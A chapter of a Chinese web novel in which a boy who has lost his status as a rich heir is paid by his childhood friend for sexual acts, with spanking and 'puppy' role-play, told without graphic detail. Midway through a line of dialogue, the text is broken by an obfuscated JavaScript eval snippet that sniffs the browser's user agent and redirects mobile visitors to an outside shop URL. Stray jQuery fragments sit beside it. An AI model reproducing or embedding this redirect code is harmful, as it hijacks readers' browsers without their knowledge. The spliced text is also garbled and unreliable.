3.
席蓝听着,觉得崔逐野的话分外叫人难为情,自己以前怎么没发现崔逐野是这种人啊?
见男人的眸光有些暗,给人一种莫名危险的感觉,席蓝就别过头,避开崔逐野的注视,小声说:“我不知道……”
“那去我的卧室你就知道了。”
崔逐野圈住席蓝的手腕,牵着席蓝往崔宅三楼去。
席蓝从小来崔家就跟回自己家一样频繁,崔家的仆佣见他们俩待在一块丝毫不感意外,行过礼后还问席蓝:“席少爷,需要为您和少爷准备果盘吗?”
仆佣没问崔逐野,是因为席蓝和崔逐野在一起时,席蓝说的话才算数,崔逐野说的话可以直接无视,因为他就算一开始不同意,最后也会改口听席蓝的话。
而席蓝听着这声“席少爷”,心中唏嘘不已。
他心想:还吃什么果盘啊?真正的“席少爷”另有其人。自己这个假少爷未来都要靠给崔逐野卖.屁股才能继续在中央大学念书,以后再想吃果盘,估计都是他给崔逐野削了。
思及此处,席蓝悲从中来,不可断绝,觉得帝都的雨都未必有他忧郁,摇摇头有气无力地说:“不用了……”
崔逐野声音就冷多了,他对别人素来没什么好脸色,寒声道:“不要来打扰我们。”
仆佣唯唯诺诺地退下了。
席蓝也唯唯诺诺的,被崔逐野牵小狗似的牵进卧室,然后又被咬了一口嘴巴。
咬完嘴巴,崔逐野拍拍席蓝的腰,使唤自己刚得到的小狗:“蓝蓝,自觉点。”
俗话说,人在屋檐下不得不低头。
板蓝根精也一样。
他站在崔逐野的床边,像以往alpha易感期时来这里做的那样,熟稔地用脚把衣物拨到床底下。
“这么乖啊?”
崔逐野见状笑了,神情温柔,手上的动作却一点都不温柔,甚至故意用了很重的力气,把席蓝推到床上。
军校生的体魄高大健硕,俯下的身躯投落一道阴影,把席蓝密密实实地笼罩困住,就像以前在山中修行时,被采药人盯上时的感觉一样。
席蓝本能地感到恐惧,所以当崔逐野宽大的手掌覆上来时,席蓝仿佛被烫到一般,浑身抖了下。
“你抖什么呢?”
崔逐野恶人先告状,“啪”地打了一下席蓝的屁.股:“又没有小狗尾巴可以向我摇。”
被打的席蓝感到委屈,还觉得自幼玩到大的竹马仿佛变成了一个他不认识的陌生人,只能请求始作俑者:“竹哥,你不要这样说话嘛,好奇怪……”
“闭嘴。”崔逐野第二次打他,“小狗是没有说话权利的。”
席蓝呜呜两声,是装可怜的干哭,没有眼泪,毕竟崔逐野打的不痛。
同样清楚自己下手力道的崔逐野没被他蒙骗过去,笑了笑:“你非要说话的话,只能说‘老公’。”
席蓝问:“老公?”
“嗯。”崔逐野答应了,又摸摸他的头发,鼓励道,“叫的很好听,继续叫。”
崔逐野真的把他当小狗了!
十几年的竹马情谊,竟随着他不再是豪门少爷而一朝散尽!
豪门真是太冷漠、太现实、太残酷了!
席蓝这会儿是真的流下了眼泪,但他也分不明白究竟是因为认清豪门的无情难过,还是因为别的异样感觉。
他为了保全面子,把自己的T恤揪起来盖住脸擦泪。
而他都哭得这么伤心了,崔逐野却还要笑着骂他:“小细狗。”
席蓝满腹冤屈:“我不是!”
“你还敢撒谎?”崔逐野第三次打他,并威胁道,“我要扣钱了。”
席蓝:“!”
怎么还要扣钱呢?
这不是要他的命吗?
席蓝为了钱选择忍气吞声,乖乖认错:“老公对不起。”
崔逐野又笑了,但席蓝的脸被T恤盖着,他看不见崔逐野笑,只听见alpha说:“蓝蓝,坐到我脸上来,我就再给你打十万。”
崔逐野给的实在是太多了。
席蓝抵挡不住金钱的诱惑,最终选择出卖灵魂换金钱,被崔逐野轻轻一拽,就摔倒在崔逐野身上了。
等到一切结束,崔逐野把他的T恤从头上扯开时,席蓝仍沉浸在没了灵魂,感觉身体被掏空的感觉里回不过神来。
“坏狗,在我脸上做标记圈地盘?”崔逐野捏捏他的脸,“嗯?”
席蓝没理崔逐野。
他现在是一株没有灵魂的板蓝根。
崔逐野冷冷哼笑两声,下一刻却像是听见什么动静皱了皱眉,接着快速起身去浴室拧了块温热的湿毛巾出来,给席蓝清理身体,说:“你爸爸妈妈好像回来了。”
……爸爸妈妈回来了?
那岂不是说,真少爷也跟着他们一起回来了?
席蓝猛地睁大眼,飘走的灵魂终于归体。
崔逐野看他一副惶惶不可终日的模样,又觉得好笑,又想欺负人,便故意恫吓他:“他们是不是回来准备把你赶走了?”
席蓝想哭:“可能是的吧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17781377|210107||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
……”
残酷、现实、冷漠的豪门终究是容不下他这个冒牌货。
席蓝想起崔逐野给他的承诺:“竹哥,你说过要再给我十万的。”
——这十万可能就是他未来几个月的生活费指望了。
崔逐野却问他:“是你自己坐上来的吗?”
幸好席蓝学到了新的装可怜方式,他盯着崔逐野眼巴巴喊:“老公。”
崔逐野听不得小狗这么朝他咿唔咿唔的可怜叫唤,松口了:“只给一半。”
拿到钱的席蓝既高兴,又惆怅。
高兴是因为赚了五万块。
惆怅是因为要赚五万都这么难,十几个亿他得出卖多少次灵魂才能赚到啊?
卖到死都不能吧?
拿最低的十亿来说,席蓝出卖一次灵魂能赚五万。
那他一天出卖1回,一年出卖365回,出卖个55年,出卖满20000次,差不多就能赚到十个亿了。
区区55年……
区区55年!
席蓝按着自己有点酸的腰,觉得自己十年不到就会彻底灵魂消散。
“在想什么呢?”
崔逐野给席蓝清理完身体,又回浴室给自己洗了把脸,将坏小狗留下的标记都洗干净后,出来瞧见席蓝还傻愣愣地坐在床沿边上发呆。
他拢了拢脑后的头发,随手扯了根发绳半扎起来,接着走到衣柜那从抽屉里拿了条席蓝的内库出来。
不是崔逐野变态喜欢藏人内库,而是席蓝来他家玩的次数太多了,有时候还会直接在这过夜,所以崔逐野房间里有很多席蓝的一副,同理,席蓝卧室里也有很多崔逐野的衣服。
“别发呆了,抬脚。”崔逐野蹲在席蓝面前,抓住他的脚踝往里塞,帮席蓝穿裤子。
“噢。”席蓝缓过神来,听崔逐野的话让抬腿就抬腿,让起立就起立,如实交代,“我在想还债的事。”
“这有什么好想的?你不都有老公了?”
崔逐野把席蓝送到小栅栏门那儿:“回去吧,我就不送你进家门了,你先处理你们家的事,我也有些事,晚点我再来找你。”
“那我要是被赶出去了呢?”席蓝打算为自己留条后路,委婉地暗示崔逐野,“老公,你那么舍不得我,以后找不到我了可怎么办呀?”
崔逐野看穿了他那点花招手段,挑眉道:“行,你要是被赶出去了,就直接来我家找我。”
席蓝稍微安心些了,摆摆手:“竹哥,拜拜。”
可惜这种安心没能持续太久。